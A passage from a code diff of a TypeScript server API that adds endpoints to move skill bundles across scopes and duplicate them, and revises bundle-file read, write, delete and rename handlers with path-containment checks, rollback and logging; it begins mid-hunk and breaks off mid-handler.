+ handler: 'skill-move-scope',
+ });
+ return;
+ }
+ const { name, fromScope, toScope } = body;
+ if (!validateSkillName(name, res, 'skill-move-scope')) return;
+ if (fromScope === toScope) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Source and destination scope are the same.',
+ { handler: 'skill-move-scope' },
+ );
+ return;
+ }
+ if (toScope === 'project' && !projectDir) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Cannot move to project scope — no project root is resolved for this server.',
+ { handler: 'skill-move-scope', detail: 'NO_PROJECT_ROOT' },
+ );
+ return;
+ }
+
+ const { root: fromRoot, dirRel: fromDirRel, realDir } = effectiveSkillRoot(fromScope, name);
+ const fromDir = resolve(fromRoot, name);
+ // Where the BYTES live, which is not always `fromDir`.
+ // `resolveSkillDirForRead` answers "where is this skill found", by root
+ // precedence, and never realpaths — so once `source` points the skill at
+ // another location the elected path is itself a symlink. A move has to
+ // relocate the real tree, so resolve it once here and let every step
+ // below agree on the same answer instead of each rediscovering it.
+ const fromContentDir = (() => {
+ try {
+ return realpathSync(fromDir);
+ } catch {
+ return fromDir;
+ }
+ })();
+ // Destination: the target scope's default skill home (store retirement —
+ // moved skills land in-place like creates/imports do).
+ const toBase2 = toScope === 'project' ? contentDir : skillsHome;
+ const toRoot = resolve(toBase2, resolveDefaultSkillHomeRel(toBase2, toScope));
+ const toDir = resolve(toRoot, name);
+ if (realDir === null || !existsSync(fromDir)) {
+ errorResponse(res, 404, 'urn:ok:error:not-found', 'Skill not found.', {
+ handler: 'skill-move-scope',
+ detail: `Skill "${name}" not found in ${fromScope} scope.`,
+ });
+ return;
+ }
+ if (
+ resolve(realDir) === resolve(toDir) ||
+ (existsSync(toDir) && realpathSync(realDir) === realpathSync(toDir))
+ ) {
+ errorResponse(
+ res,
+ 409,
+ 'urn:ok:error:doc-already-exists',
+ 'The source and destination resolve to the same skill directory.',
+ { handler: 'skill-move-scope', detail: 'SAME_STORAGE' },
+ );
+ return;
+ }
+ // A clean absence is the ONLY safe "destination free" — never overwrite a
+ // same-named skill at the target scope (that would then delete the source
+ // = data loss). Registry-wide: any occurrence at the target scope blocks.
+ if (resolveSkillDirForRead(toScope, name) !== null || existsSync(toDir)) {
+ errorResponse(
+ res,
+ 409,
+ 'urn:ok:error:doc-already-exists',
+ `A ${toScope} skill named "${name}" already exists.`,
+ { handler: 'skill-move-scope' },
+ );
+ return;
+ }
+
+ // Capture source install state BEFORE tearing anything down, so the
+ // projection can be re-created at the destination scope.
+ const fromBase = skillInstallBase(fromScope);
+ const toBase = skillInstallBase(toScope);
+ const priorInstall = fromBase ? readInstalledSkills(fromBase).skills[name] : undefined;
+ // The install MARKER is NOT the source of truth for an in-place skill's
+ // host set: a skill installed into editor dirs the marker never recorded
+ // (created/imported in place, or an older marker) reads back with fewer
+ // hosts than it really occupies. The SCAN — which editor dirs actually
+ // hold a copy — is authoritative (same rule the install handler +
+ // sweepSkillOccurrences follow). Union both so a scope move preserves
+ // EVERY editor the skill was installed in, not just what the marker
+ // happened to list — otherwise it re-lands only on the default hub and
+ // silently drops .claude/.cursor/etc..
+ const fromScanBase = fromScope === 'project' ? contentDir : skillsHome;
+ const scanEntry = (
+ fromScope === 'project'
+ ? scanInPlaceSkills(contentDir)
+ : scanGlobalInPlaceSkills(skillsHome)
+ ).find((sk) => sk.name === name);
+ // Editors that reach this skill only via a FOLDER-level symlink (e.g.
+ // `.claude/skills` → `.agents/skills`) are excluded from `scanEntry.hosts`
+ // by design — they hold no independent copy (same inode as the canonical).
+ // But they ARE a real audience: those editors currently SEE the skill. The
+ // destination scope has no such folder symlink, so unless we materialize
+ // them the move silently drops that reach. Union the alias audience — the
+ // editors whose skills-root symlinks to this skill's canonical root — so
+ // the destination projects real copies and reachability is preserved.
+ const canonicalRootRel = scanEntry ? dirname(scanEntry.dir) : null;
+ const aliasAudience =
+ canonicalRootRel !== null
+ ? Object.entries(scanHostRootAliases(fromScanBase, fromScope))
+ .filter(([, target]) => target === canonicalRootRel)
+ .map(([editor]) => editor)
+ : [];
+ const priorHosts = [
+ ...new Set([
+ ...(priorInstall ? resolvedHosts(priorInstall.hosts) : []),
+ ...(scanEntry ? resolvedHosts(scanEntry.hosts) : []),
+ ...resolvedHosts(aliasAudience),
+ ]),
+ ];
+
+ // Tear down BOTH live skill docs (source + destination) BEFORE touching
+ // disk — a verbatim dir copy with the live docs closed can't merge into a
+ // stale open doc (the content-doubling root cause).
+ await captureAndCloseDocuments(
+ [
+ ...new Set([
+ ...(fromScope === 'project' ? [`${fromDirRel}/SKILL`] : []),
+ skillLiveDocName(fromScope, name),
+ skillLiveDocName(toScope, name),
+ ]),
+ ],
+ 'renamed',
+ );
+
+ // Copy the WHOLE bundle verbatim (SKILL.md + references + scripts +
+ // binaries) in one fs op — no CRDT write path, nothing to merge. Binaries
+ // that the old text-only client copy silently dropped come along.
+ tracedMkdirSync(toRoot, { recursive: true });
+ // `dereference` is load-bearing, not a detail. The source dir is a
+ // SYMLINK whenever the skill's `source` was pointed at another location,
+ // and cpSync's default (false) copies the link rather than the bytes —
+ // so the destination becomes a link to the very tree the delete below
+ // removes, and every path in the new scope dangles at once.
+ tracedCpSync(fromContentDir, toDir, { recursive: true, dereference: true });
+
+ // Same-hash copies/links of the source go first (lossless-guarded), then
+ // the source itself (rm -rf of the whole skill dir).
+ sweepSkillOccurrences(fromScope, name);
+ const del = applySkillDelete({ skillsRoot: fromRoot, name });
+ // `fromRoot` is `dirname(elected path)`, and the election never
+ // realpaths — so when the elected occurrence is a symlink (the `source`
+ // verb pointed this skill elsewhere) the delete above removed only the
+ // pointer and left the real tree behind. A move that leaves its bytes at
+ // the origin is a copy. Bounded to the scope's own base: an outside-base
+ // source tree is the user's own directory, and nothing scans it, so it
+ // can't come back as a ghost occurrence.
+ if (del.ok && fromContentDir !== fromDir) {
+ // Both sides must be realpath'd before they can be compared: macOS
+ // resolves the tmpdir-rooted `/var` to `/private/var`, so a base taken
+ // verbatim makes every contained path look like an escape.
+ const realScanBase = (() => {
+ try {
+ return realpathSync(fromScanBase);
+ } catch {
+ return fromScanBase;
+ }
+ })();
+ const relFromBase = relative(realScanBase, fromContentDir);
+ if (relFromBase !== '' && !relFromBase.startsWith('..') && !isAbsolute(relFromBase)) {
+ tracedRmSync(fromContentDir, { recursive: true, force: true });
+ }
+ }
+ if (!del.ok) {
+ // Roll back the destination copy so a failed source-removal can't leave
+ // a duplicate — the failure mode this whole endpoint exists to prevent.
+ applySkillDelete({ skillsRoot: toRoot, name });
+ errorResponse(
+ res,
+ 500,
+ 'urn:ok:error:internal-server-error',
+ 'Failed to move skill (source removal failed); rolled back the copy.',
+ {
+ handler: 'skill-move-scope',
+ detail: del.error.code,
+ cause: new Error(del.error.message),
+ },
+ );
+ return;
+ }
+
+ const movedLockEntry = await transferSkillLockEntry(fromScope, toScope, name);
+
+ // Transfer install projections: drop the source-scope projections +
+ // marker, then re-project into the destination scope for the same hosts.
+ // Re-project on ANY resolved host (marker OR scan) — a scan-only in-place
+ // skill has no marker entry but still occupies real editor dirs. Stamp the
+ // new marker with the DESTINATION scope (not the source's stale scope).
+ if (fromBase) await uninstallSkillFromHostDirs(fromBase, name, fromScope);
+ if (toBase && priorHosts.length > 0) {
+ const newHosts = projectSkill(
+ toDir,
+ name,
+ toBase,
+ priorHosts,
+ projectionModeFor(toScope, body.name),
+ skillProjectionRoots(toScope),
+ );
+ await recordSkillInstall(toBase, name, {
+ ...priorInstall,
+ scope: toScope,
+ hosts: newHosts,
+ scripts: priorInstall?.scripts ?? validateSkillForInstall(toDir, name).hasScripts,
+ installedAt: priorInstall?.installedAt ?? new Date().toISOString(),
+ });
+ }
+
+ // Attribution + shadow-commit for whichever side is a versioned project
+ // scope (global is unversioned — no shadow repo). At most one side is
+ // project on a cross-scope move.
+ if (fromScope === 'project' || toScope === 'project') {
+ attributeOkArtifactWrite(
+ actor,
+ fromScope === 'project' ? fromDirRel : relative(contentDir, toDir).split(sep).join('/'),
+ `skill-move-scope: ${fromScope} -> ${toScope} ${name}`,
+ );
+ await commitOkArtifactWrite('skill-move-scope');
+ }
+
+ if (movedLockEntry) {
+ const movedLocalHash = localSkillHash(toRoot, name);
+ const movedBaselineRef =
+ toScope === 'project'
+ ? await shadowHeadSha(
+ artifactWriterId(actor),
+ relative(contentDir, toDir).split(sep).join('/'),
+ )
+ : undefined;
+ await updateSkillLockEntry(toScope, name, {
+ localHash: movedLocalHash,
+ ...(toScope === 'project' ? { baselineRef: movedBaselineRef } : {}),
+ });
+ }
+
+ // A 200 here must mean the skill is READABLE at the destination. The
+ // projection step writes through host roots derived from config, and a
+ // bad root could delete what the copy just placed — reporting success
+ // then leaves the user believing a move happened that in fact destroyed
+ // the bundle. Verify the post-condition rather than trusting that every
+ // step returned without throwing.
+ if (!existsSync(join(toDir, 'SKILL.md'))) {
+ errorResponse(
+ res,
+ 500,
+ 'urn:ok:error:internal-server-error',
+ 'The move did not leave a readable skill at the destination; nothing was reported as moved.',
+ { handler: 'skill-move-scope', detail: relative(toBase2, toDir).split(sep).join('/') },
+ );
+ return;
+ }
+
+ signalChannel?.('files');
+ successResponse(
+ res,
+ 200,
+ SkillMoveScopeSuccessSchema,
+ { scope: toScope, path: relative(toBase2, toDir).split(sep).join('/') },
+ { handler: 'skill-move-scope' },
+ );
+ } catch (e) {
+ errorResponse(
+ res,
+ 500,
+ 'urn:ok:error:internal-server-error',
+ 'Failed to move skill across scopes.',
+ { handler: 'skill-move-scope', cause: e },
+ );
+ }
+ },
+ { handler: 'skill-move-scope', method: 'POST' },
+ );
+
+ // `POST /api/skill/duplicate` — copy a complete bundle within one scope.
+ // This is server-side because the GET surface intentionally does not inline
+ // binary bytes; a client-side GET+PUT compose silently dropped them.
+ const handleSkillDuplicate = withValidation(
+ SkillDuplicateRequestSchema,
+ async (_req, res, body) => {
+ try {
+ const actor = extractActorIdentity(
+ body as unknown as Record<string, unknown>,
+ getPrincipal,
+ );
+ if (actor.kind === 'invalid-summary') {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Summary must be a string.', {
+ handler: 'skill-duplicate',
+ });
+ return;
+ }
+ if (!validateSkillName(body.name, res, 'skill-duplicate')) return;
+ if (!validateSkillName(body.toName, res, 'skill-duplicate')) return;
+ if (rejectReservedBuiltinSkill(body.toName, res, 'skill-duplicate')) return;
+
+ const sourceDir = resolveSkillDirForRead(body.scope, body.name);
+ if (sourceDir === null || !existsSync(join(sourceDir, 'SKILL.md'))) {
+ errorResponse(res, 404, 'urn:ok:error:not-found', 'Skill not found.', {
+ handler: 'skill-duplicate',
+ detail: 'SOURCE_NOT_FOUND',
+ });
+ return;
+ }
+ const base = body.scope === 'project' ? contentDir : skillsHome;
+ const targetRoot = resolve(base, resolveDefaultSkillHomeRel(base, body.scope));
+ const targetDir = resolve(targetRoot, body.toName);
+ if (resolveSkillDirForRead(body.scope, body.toName) !== null || existsSync(targetDir)) {
+ errorResponse(
+ res,
+ 409,
+ 'urn:ok:error:doc-already-exists',
+ `A ${body.scope} skill named "${body.toName}" already exists.`,
+ { handler: 'skill-duplicate' },
+ );
+ return;
+ }
+
+ const source = parseSkillDir(sourceDir);
+ if (!source) {
+ errorResponse(res, 422, 'urn:ok:error:invalid-request', 'Source has no readable skill.', {
+ handler: 'skill-duplicate',
+ });
+ return;
+ }
+ tracedMkdirSync(targetRoot, { recursive: true });
+ // A duplicate is a new independent skill; if the source canonical is a
+ // symlink (`source` pointed elsewhere) the copy must still be bytes.
+ tracedCpSync(sourceDir, targetDir, { recursive: true, dereference: true });
+ const { fenced, body: sourceBody } = detectFmRegion(source.skillMd);
+ // presence-exempt: no CRDT write, no agent identity
+ const renamed = applyPatchToFm(fenced, { name: body.toName });
+ if (!renamed.ok) {
+ applySkillDelete({ skillsRoot: targetRoot, name: body.toName });
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Failed to write duplicated skill.',
+ {
+ handler: 'skill-duplicate',
+ detail: renamed.error.kind,
+ },
+ );
+ return;
+ }
+ try {
+ tracedWriteFileSync(join(targetDir, 'SKILL.md'), `${renamed.nextFenced}${sourceBody}`);
+ } catch (error) {
+ applySkillDelete({ skillsRoot: targetRoot, name: body.toName });
+ throw error;
+ }
+
+ if (body.scope === 'project') {
+ const targetRel = relative(contentDir, targetDir).split(sep).join('/');
+ attributeOkArtifactWrite(
+ actor,
+ okArtifactKey('skill', '', body.toName),
+ `skill-duplicate: ${body.name} -> ${targetRel}`,
+ );
+ await commitOkArtifactWrite('skill-duplicate');
+ }
+ signalChannel?.('files');
+ successResponse(
+ res,
+ 200,
+ SkillDuplicateSuccessSchema,
+ { name: body.toName },
+ { handler: 'skill-duplicate' },
+ );
+ } catch (e) {
+ errorResponse(
+ res,
+ 500,
+ 'urn:ok:error:internal-server-error',
+ 'Failed to duplicate skill.',
+ { handler: 'skill-duplicate', cause: e },
+ );
+ }
+ },
+ { handler: 'skill-duplicate', method: 'POST' },
+ );
+
const handleSkill = methodRouter(
{ GET: handleSkillGet, PUT: handleSkillPut, POST: handleSkillMove, DELETE: handleSkillDelete },
{ handler: 'skill' },
@@ -16837,7 +18837,7 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
// (fs-direct) across scope/type so scripts + global refs are MCP-readable too.
/** Skill-relative bundle path → its allowed-root kind, or null (out of allowlist). */
- function classifySkillFilePath(rel: string): 'reference' | 'script' | null {
+ function classifySkillFilePath(rel: string): 'reference' | 'script' | 'file' | null {
// Reject a NUL byte for parity with the sibling validators
// (`resolveSkillFilePath`, `resolveBundleFileAbs`) — a NUL can truncate a
// path at the syscall boundary.
@@ -16846,16 +18846,23 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
.replace(/\\/g, '/')
.split('/')
.filter((s) => s !== '' && s !== '.');
- if (segments.length < 2 || segments.some((s) => s === '..')) return null;
- if (segments[0] === 'references') return 'reference';
- if (segments[0] === 'scripts') return 'script';
- return null;
+ if (segments.length < 1 || segments.some((s) => s === '..')) return null;
+ // `SKILL.md` is the skill's identity — mutated only through the skill
+ // verbs (PUT /api/skill, rename, delete), never the file surface.
+ if (segments.length === 1 && (segments[0] as string).toLowerCase() === 'skill.md') return null;
+ if (segments[0] === 'references' && segments.length >= 2) return 'reference';
+ if (segments[0] === 'scripts' && segments.length >= 2) return 'script';
+ // Anything else in-bundle (root files, custom dirs — `assets/`, `docs/`,
+ // a root `NOTES.md`): a plain bundle file, fs-direct. Imports have always
+ // landed these; the mutation surface admits them too. In-place `.md`
+ // files here are ordinary content docs the file watcher ingests.
+ return 'file';
}
/** Whether a project `.md` reference (the CRDT-routed case) — else fs-direct. */
function isProjectMdReference(
scope: 'project' | 'global',
- kind: 'reference' | 'script',
+ kind: 'reference' | 'script' | 'file',
rel: string,
): boolean {
return scope === 'project' && kind === 'reference' && rel.toLowerCase().endsWith('.md');
@@ -16905,15 +18912,34 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
fromName: string,
toName: string,
): Promise<void> {
- if (!derivedDocumentIndex) return;
+ if (!derivedDocumentIndex) {
+ // Last silent exit on this path. Returning here means a rename does NO
+ // re-index at all: the file watcher still drops the old doc, so the skill
+ // leaves tags/backlinks/search with nothing taking its place. Every other
+ // branch here now reports; this one must too.
+ getLogger('skill-move').warn(
+ { fromName, toName },
+ 'no derived-document index available — skipping re-index of the moved skill (its old entries will be dropped with no replacement)',
+ );
+ return;
+ }
const derivedMutations: DerivedDocumentIndexMutation[] = [];
const collectReindex = (oldDocName: string, newDocName: string, absFile: string): void => {
let markdown: string;
try {
markdown = readFileSync(absFile, 'utf-8');
- } catch {
+ } catch (err) {
// Unreadable relocated file: drop the stale old-name entry rather than
// leave it dangling (the next open will index it fresh from disk).
+ //
+ // LOUD, because the consequence is severe and was invisible: this drops
+ // the old entry and adds no new one, so the skill vanishes from tags,
+ // backlinks and search until something re-indexes it. Swallowing the
+ // read error made that indistinguishable from a healthy rename.
+ getLogger('skill-move').warn(
+ { err, absFile, oldDocName, newDocName },
+ 'relocated skill file unreadable after move — dropping the old index entry with no replacement',
+ );
derivedMutations.push({ kind: 'delete', documentName: oldDocName });
return;
}
@@ -16928,21 +18954,41 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
// SKILL.md: its rewrite during the move is fs-direct (applySkillWrite), so
// it never re-enters the index via a CRDT write either. The reference `.md`
// files were git-mv'd verbatim — never rewritten — so they too are stale.
- collectReindex(
- projectSkillContentDocName(fromName),
- projectSkillContentDocName(toName),
- resolve(skillsRoot, toName, 'SKILL.md'),
- );
+ // Doc names derive from the ACTUAL root (in-place skills live at editor-dir
+ // paths; the store root yields the legacy `.ok/skills/...` names).
+ const rootRel = relative(contentDir, skillsRoot).split(sep).join('/');
+ const docFor = (n: string, rel?: string): string =>
+ `${rootRel}/${n}/${rel ? rel.replace(/\.mdx?$/i, '') : 'SKILL'}`;
+ collectReindex(docFor(fromName), docFor(toName), resolve(skillsRoot, toName, 'SKILL.md'));
for (const rel of listProjectMdReferences(skillsRoot, toName)) {
- collectReindex(
- projectRefContentDocName(fromName, rel),
- projectRefContentDocName(toName, rel),
- resolve(skillsRoot, toName, rel),
- );
+ collectReindex(docFor(fromName, rel), docFor(toName, rel), resolve(skillsRoot, toName, rel));
}
await derivedDocumentIndex.recordDirectMutations(derivedMutations);
}
+ /**
+ * Re-index the OTHER skills' docs whose bodies the ref rewrite touched. The
+ * renamed skill's own files are excluded — `reindexMovedProjectSkillDocs`
+ * already re-read them from disk under their new names, and a second
+ * mutation at the old name would resurrect it.
+ */
+ async function reindexRewrittenSkillRefDocs(
+ rewrites: readonly SkillRefRewrite[],
+ movedName: string,
+ ): Promise<void> {
+ if (!derivedDocumentIndex || rewrites.length === 0) return;
+ const mutations: DerivedDocumentIndexMutation[] = [];
+ for (const rw of rewrites) {
+ if (rw.dir.split('/').pop() === movedName) continue;
+ mutations.push({
+ kind: 'link-rewrite',
+ documentName: `${rw.dir}/${rw.rel.replace(/\.mdx?$/i, '')}`,
+ markdown: rw.markdown,
+ });
+ }
+ if (mutations.length > 0) await derivedDocumentIndex.recordDirectMutations(mutations);
+ }
+
const handleSkillFileGet = withValidation(
EmptyRequestSchema,
async (req, res) => {
@@ -16953,25 +18999,50 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
const scope = parseSkillScope(url.searchParams.get('scope'), res, 'skill-file-get');
if (scope === null) return;
const rel = url.searchParams.get('path') ?? '';
- // Built-in `open-knowledge` project skill: files come from the editor
- // host dir, and its `SKILL.md` (skill-dir root) is allowed read-only here
- // so the managed skill's entrypoint opens in the read-only viewer.
- const builtin =
- name === BUILTIN_PROJECT_SKILL_NAME && scope === 'project'
- ? resolveBuiltinProjectSkillDir()
- : null;
- const kind = builtin && rel === 'SKILL.md' ? 'reference' : classifySkillFilePath(rel);
- if (kind === null) {
- errorResponse(
- res,
- 400,
- 'urn:ok:error:invalid-request',
- 'Invalid skill file path (must be a file under references/ or scripts/).',
- { handler: 'skill-file-get' },
- );
+ // Built-in `open-knowledge*` skills: files come from the editor host
+ // dir, and the `SKILL.md` (skill-dir root) is allowed read-only here so
+ // the managed skill's entrypoint opens in the read-only viewer. Project
+ // built-in under the project root, user-global ones under `<home>`.
+ const builtinBase = isInternalBundleSkillName(name)
+ ? scope === 'global'
+ ? skillsHome
+ : projectDir
+ : undefined;
+ const builtinHost = url.searchParams.get('host') ?? undefined;
+ const builtin = builtinBase ? resolveBuiltinSkillDir(builtinBase, name, builtinHost) : null;
+ // A full-directory skill (import captures the WHOLE dir) can carry files
+ // outside references/scripts — a root `config.yaml`, a `data/` subdir.
+ // `readSkillBundledFiles` lists the whole dir, so the sidebar tree shows
+ // them; the READ must therefore serve any in-dir file too, or the tree
+ // shows a file that fails to open (§8.1: "appears but couldn't load").
+ // Containment (below) is the real safety gate — reject only NUL / empty
+ // here; `kind` is a response hint the viewer ignores (it dispatches on
+ // extension), so unclassified files default to 'reference'.
+ if (rel === '' || rel.includes('\x00')) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Invalid skill file path.', {
+ handler: 'skill-file-get',
+ });
+ return;
+ }
+ const kind =
+ (builtin && rel === 'SKILL.md' ? 'reference' : classifySkillFilePath(rel)) ?? 'reference';
+ // Which same-named bundle this file belongs to. Several distinct-content
+ // skills can share a name across host dirs; without the host, a bundle
+ // file request would serve whichever one a bare name lookup lands on —
+ // the wrong bytes, silently, for every row but that one.
+ const host = builtinHost;
+ // A built-in resolves its own host dir above; anything else resolves here.
+ const resolvedSkillDir = builtinBase
+ ? (builtin?.dir ?? null)
+ : resolveSkillDirForRead(scope, name, host);
+ if (resolvedSkillDir === null && host !== undefined) {
+ errorResponse(res, 404, 'urn:ok:error:not-found', 'Skill not found.', {
+ handler: 'skill-file-get',
+ detail: `No skill "${name}" (${scope}) in ${host}.`,
+ });
return;
}
- const skillDir = builtin ? builtin.dir : resolve(resolveSkillsRoot(scope), name);
+ const skillDir = resolvedSkillDir ?? resolve(resolveSkillsRoot(scope), name);
const abs = resolve(skillDir, rel);
if (abs !== skillDir && !abs.startsWith(`${skillDir}${sep}`)) {
errorResponse(
@@ -17082,15 +19153,18 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
);
return;
}
- const skillsRoot = resolveSkillsRoot(body.scope);
- const skillMd = resolve(skillsRoot, body.name, 'SKILL.md');
- if (!existsSync(skillMd)) {
+ // Resolve the skill's REAL dir (in-place-first; store retirement) —
+ // bundle files land next to wherever the SKILL.md actually lives.
+ const skillDirAbs = resolveSkillDirForRead(body.scope, body.name);
+ if (skillDirAbs === null || !existsSync(join(skillDirAbs, 'SKILL.md'))) {
errorResponse(res, 404, 'urn:ok:error:not-found', 'Skill not found.', {
handler: 'skill-file-put',
detail: `Create skill "${body.name}" before adding bundle files.`,
});
return;
}
+ const fileBase = body.scope === 'project' ? contentDir : skillsHome;
+ const skillDirRel = relative(fileBase, skillDirAbs).split(sep).join('/');
const rel = body.path.replace(/\\/g, '/');
const routedThroughContent = isProjectMdReference(body.scope, kind, rel);
let created: boolean;
@@ -17100,16 +19174,16 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
// the doc's `Y.Text('source')` via the sanctioned paired-write
// primitive (precedent #24 / #38), same branch as the SKILL.md body.
// Persistence serializes Y.Text verbatim to `.ok/skills/<name>/<rel>`.
- const refDocName = projectRefContentDocName(body.name, rel);
+ const refDocName = `${skillDirRel}/${rel.replace(/\.mdx?$/i, '')}`;
// Refuse if the reference content doc is mid-conflict — same gate as
// the sibling content-write handlers.
if (checkSkillDocConflictGate(refDocName, 'skill-file-put', res)) return;
- created = !existsSync(resolve(skillsRoot, body.name, rel));
+ created = !existsSync(resolve(skillDirAbs, rel));
// Enforce the per-skill bundle-file cap on this CRDT-routed branch too.
// The fs-direct branch counts inside `applySkillBundleFileWrite`;
// without this, project `.md` references (the most common bundle file)
// could grow unbounded while scripts + global refs are capped.
- if (created && countBundleFiles(resolve(skillsRoot, body.name)) >= BUNDLE_MAX_FILES) {
+ if (created && countBundleFiles(skillDirAbs) >= BUNDLE_MAX_FILES) {
errorResponse(
res,
400,
@@ -17142,7 +19216,7 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
} else {
// Global `.md` reference OR any script: fs-direct atomic write.
const fsResult = applySkillBundleFileWrite({
- skillsRoot,
+ skillsRoot: dirname(skillDirAbs),
name: body.name,
relPath: rel,
content: body.content,
@@ -17181,7 +19255,7 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
attributeOkArtifactWrite(
actor,
okArtifactKey('skill', '', body.name),
- `${created ? 'skill-file-create' : 'skill-file-edit'}: .ok/skills/${body.name}/${rel}`,
+ `${created ? 'skill-file-create' : 'skill-file-edit'}: ${skillDirRel}/${rel}`,
);
await commitOkArtifactWrite('skill-file-put');
}
@@ -17232,30 +19306,30 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
);
return;
}
- const actor = extractActorIdentity(
- {
- agentId: sp.get('agentId') ?? undefined,
- agentName: sp.get('agentName') ?? undefined,
- colorSeed: sp.get('colorSeed') ?? undefined,
- clientName: sp.get('clientName') ?? undefined,
- clientVersion: sp.get('clientVersion') ?? undefined,
- label: sp.get('label') ?? undefined,
- summary: sp.get('summary') ?? undefined,
- },
- getPrincipal,
- );
+ const actor = extractActorIdentityFromQuery(url, getPrincipal);
if (actor.kind === 'invalid-summary') {
errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Summary must be a string.', {
handler: 'skill-file-delete',
});
return;
}
- const skillsRoot = resolveSkillsRoot(scope);
+ // Resolve the skill's REAL dir (in-place-first, store fallback) like the
+ // sibling GET/PUT handlers — the raw store root silently no-opped every
+ // in-place bundle-file delete (the store-fossil class).
+ const realDir = resolveSkillDirForRead(scope, name);
+ const skillsRoot = realDir !== null ? dirname(realDir) : resolveSkillsRoot(scope);
// A project `.md` reference is a live content doc — tear it down BEFORE
- // removing the file so its persistence branch can't resurrect it.
+ // removing the file so its persistence branch can't resurrect it. The
+ // doc name derives from the REAL dir (a minted store shape closed
+ // nothing for an in-place skill).
if (isProjectMdReference(scope, kind, rel)) {
- await captureAndCloseDocuments([projectRefContentDocName(name, rel)], 'deleted-upstream');
+ const extLess = rel.replace(/\.md$/i, '');
+ const refDoc =
+ realDir !== null
+ ? `${relative(contentDir, realDir).split(sep).join('/')}/${extLess}`
+ : projectRefContentDocName(name, rel);
+ await captureAndCloseDocuments([refDoc], 'deleted-upstream');
}
const result = applySkillBundleFileDelete({ skillsRoot, name, relPath: rel });
@@ -17278,7 +19352,14 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
attributeOkArtifactWrite(
actor,
okArtifactKey('skill', '', name),
- `skill-file-delete: .ok/skills/${name}/${rel}`,
+ // The skill's REAL dir, not the retired store path: recording
+ // `.ok/skills/…` wrote a version titled with a path that does not
+ // exist, and that title shows in /api/history and the version picker.
+ `skill-file-delete: ${
+ realDir !== null
+ ? `${relative(contentDir, realDir).split(sep).join('/')}/${rel}`
+ : `${name}/${rel}`
+ }`,
);
await commitOkArtifactWrite('skill-file-delete');
}
@@ -17310,55 +19391,1967 @@ export function createApiExtension(options: ApiExtensionOptions): Extension {
{ GET: handleSkillFileGet, PUT: handleSkillFilePut, DELETE: handleSkillFileDelete },
{ handler: 'skill-file' },
);
-
- // `POST /api/skill/install` — project a skill's `.ok/skills/<name>/` source
- // into the project-configured editor host dirs. This is a local-op
- // projection (writes host dirs on this machine, OUTSIDE the content/CRDT
- // plane), not an attributed content mutation — the SOURCE edit is what gets
- // attributed. Validates the source FIRST (pre-install gate) so a
- // conflicted/malformed SKILL.md never lands verbatim in an agent's context.
- const handleSkillInstall = withValidation(
- SkillInstallRequestSchema,
+ const handleSkillFileRename = withValidation(
+ SkillFileRenameRequestSchema,
async (_req, res, body) => {
try {
- const skillsRoot = resolveSkillsRoot(body.scope);
- if (!validateSkillName(body.name, res, 'skill-install')) return;
- if (rejectReservedBuiltinSkill(body.name, res, 'skill-install')) return;
+ if (!validateSkillName(body.name, res, 'skill-file-rename')) return;
+ if (rejectReservedBuiltinSkill(body.name, res, 'skill-file-rename')) return;
+ const actor = extractActorIdentity(
+ body as unknown as Record<string, unknown>,
+ getPrincipal,
+ );
+ if (actor.kind === 'invalid-summary') {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Summary must be a string.', {
+ handler: 'skill-file-rename',
+ });
+ return;
+ }
+ const from = body.from.replace(/\\/g, '/');
+ const to = body.to.replace(/\\/g, '/');
+ const fromKind = classifySkillFilePath(from);
+ const toKind = classifySkillFilePath(to);
+ if (fromKind === null || toKind === null) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Both paths must live under references/ or scripts/ inside the skill.',
+ { handler: 'skill-file-rename', detail: fromKind === null ? from : to },
+ );
+ return;
+ }
+ // The skill's REAL dir (in-place-first, store fallback) — same
+ // resolution as the sibling GET/PUT/DELETE handlers.
+ const realDir = resolveSkillDirForRead(body.scope, body.name);
+ if (realDir === null) {
+ errorResponse(res, 404, 'urn:ok:error:not-found', 'Skill not found.', {
+ handler: 'skill-file-rename',
+ });
+ return;
+ }
+ const skillsRoot = dirname(realDir);
- // Project skills install into the project's host dirs (require a
- // resolved project root); global skills install into the user-global
- // host dirs (`<home>/.{host}/skills/`), which need no project. `base` is
- // both the cwd `projectSkill` resolves host dirs against AND where the
- // install marker lives (project marker vs user marker).
- if (body.scope === 'project' && !projectDir) {
+ const fromIsDoc = isProjectMdReference(body.scope, fromKind, from);
+ const toIsDoc = isProjectMdReference(body.scope, toKind, to);
+ const dirRel = relative(contentDir, realDir).split(sep).join('/');
+ const fromDocName = fromIsDoc ? `${dirRel}/${from.replace(/\.md$/i, '')}` : null;
+ const toDocName = toIsDoc ? `${dirRel}/${to.replace(/\.md$/i, '')}` : null;
+
+ // A live content doc mid-conflict must settle before its identity moves.
+ if (
+ fromDocName !== null &&
+ checkSkillDocConflictGate(fromDocName, 'skill-file-rename', res)
+ )
+ return;
+ // Tear the source doc down BEFORE the fs move so persistence can't
+ // resurrect the old path; the new-name doc indexes fresh from disk.
+ if (fromDocName !== null) {
+ await captureAndCloseDocuments([fromDocName], 'deleted-upstream');
+ }
+
+ const result = applySkillBundleFileRename({
+ skillsRoot,
+ name: body.name,
+ relPath: from,
+ toRelPath: to,
+ });
+ if (!result.ok) {
+ const status = result.error.code === 'RENAME_FAILED' ? 500 : 400;
+ errorResponse(
+ res,
+ status,
+ status === 500 ? 'urn:ok:error:internal-server-error' : 'urn:ok:error:invalid-request',
+ result.error.message,
+ { handler: 'skill-file-rename', detail: result.error.code },
